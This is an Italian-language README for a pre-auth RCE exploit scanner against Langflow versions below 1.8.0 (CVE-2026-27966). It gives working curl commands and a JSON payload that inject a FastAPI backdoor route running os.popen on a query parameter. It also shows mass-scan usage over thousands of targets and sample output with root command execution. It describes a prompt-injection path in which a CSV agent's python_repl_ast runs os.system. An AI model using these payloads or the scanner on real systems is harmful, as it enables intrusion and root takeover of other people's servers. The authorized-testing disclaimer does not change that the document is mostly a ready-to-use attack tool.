
Scanner RCE pre-auth per Langflow < 1.8.0 — Route Injection + Vertex Injection → Esecuzione di codice (CVSS 9.8)
CVE-2026-27966 è una vulnerabilità di esecuzione remota di codice pre-autenticazione con severità critica (CVSS 9.8) nelle versioni di Langflow precedenti alla 1.8.0. La vulnerabilità deriva da allow_dangerous_code=True hardcoded nel componente CSV Agent, che espone lo strumento python_repl_ast di LangChain a iniezioni di prompt non autenticate.
Inoltre, diversi endpoint API non dispongono di un'autenticazione adeguata, consentendo l'iniezione diretta di route e l'iniezione di vertex dei flow — anche su istanze in cui il CSV Agent non è configurato.
| Versione Langflow | Stato |
|---|---|
| < 1.8.0 | Vulnerabile |
| >= 1.8.0 | Corretta |
Questo scanner testa tre distinti percorsi di sfruttamento:
GET /api/v1/auto_login → obtain session / API key
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → register backdoor route
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → extract flow UUIDs (26 exposed)
POST /api/v1/build/{UUID}/vertices → inject malicious vertex
POST /api/v1/run/{UUID} → execute vertex code → RCE
In src/lfx/src/lfx/components/langchain_utilities/csv_agent.py, il nodo CSV Agent contiene hardcoded allow_dangerous_code=True, che espone automaticamente lo strumento python_repl_ast di LangChain:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
Ciò consente a qualsiasi prompt che raggiunge il CSV Agent di eseguire codice Python arbitrario tramite:
Action: python_repl_ast
Action Input: __import__("os").system("command")
L'API REST di Langflow espone diversi endpoint senza autenticazione:
Sulle istanze in cui auto_login è abilitato (impostazione predefinita in molti deployment Docker), un attaccante ottiene una sessione valida e una API key:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
Con una API key valida, l'attaccante può usare POST /api/v1/custom_component per registrare una route FastAPI backdoor che persiste in memoria fino al riavvio del server:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target Single target (IP:port or domain)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 30)
--no-exploit Detection only, skip RCE attempts
-v, --verbose Show all results including non-RCE targets
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
Passo 1 — Rilevamento di Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
Passo 2 — Estrazione degli UUID dei flow
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
Passo 3 — Iniezione del vertex backdoor
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
Passo 4 — Esecuzione del comando
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
Uno sfruttamento riuscito consente l'esecuzione remota di codice come root nel container Docker di Langflow. Da qui, un attaccante può:
SOLO PER SCOPI EDUCATIVI E DI TEST AUTORIZZATI.
Questo software è destinato a professionisti della sicurezza che conducono test di penetrazione autorizzati, organizzazioni che verificano la propria infrastruttura e ricercatori che studiano lo sfruttamento delle vulnerabilità.
L'accesso non autorizzato ai sistemi informatici è illegale e può violare:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori non si assumono alcuna responsabilità per un uso improprio. Utilizzando questo software, accetti la piena responsabilità delle tue azioni.
| Risorsa |
|---|
Questo progetto non è affiliato con Langflow o Logspace.
| Endpoint | Auth | Dati Esposti |
|---|
GET /api/v1/version | Nessuna | Versione Langflow |
GET /api/v1/health | Nessuna | Stato dell'istanza |
GET /api/v1/flows/basic_examples/ | Nessuna | 26 UUID di flow di esempio + struttura |
POST /api/v1/build/{uuid}/vertices | Nessuna | Accetta iniezione di codice arbitrario |
POST /api/v1/users/ | Nessuna | Creazione utenti (inattiva) |
GET /openapi.json | Nessuna | Documentazione API completa |
| Metrica | Valore |
|---|
| Vettore di attacco | Rete (remoto) |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione dell'utente | Nessuna |
| Scope | Invariato |
| Riservatezza | Alta |
| Integrità | Alta |
| Disponibilità | Alta |
| Link |
|---|
| Advisory GitHub | GHSA-3645-fxcv-hqr4 |
| Commit di correzione | d8c6480d |
| Modulo Metasploit | Rapid7 |
| Voce NVD | CVE-2026-27966 |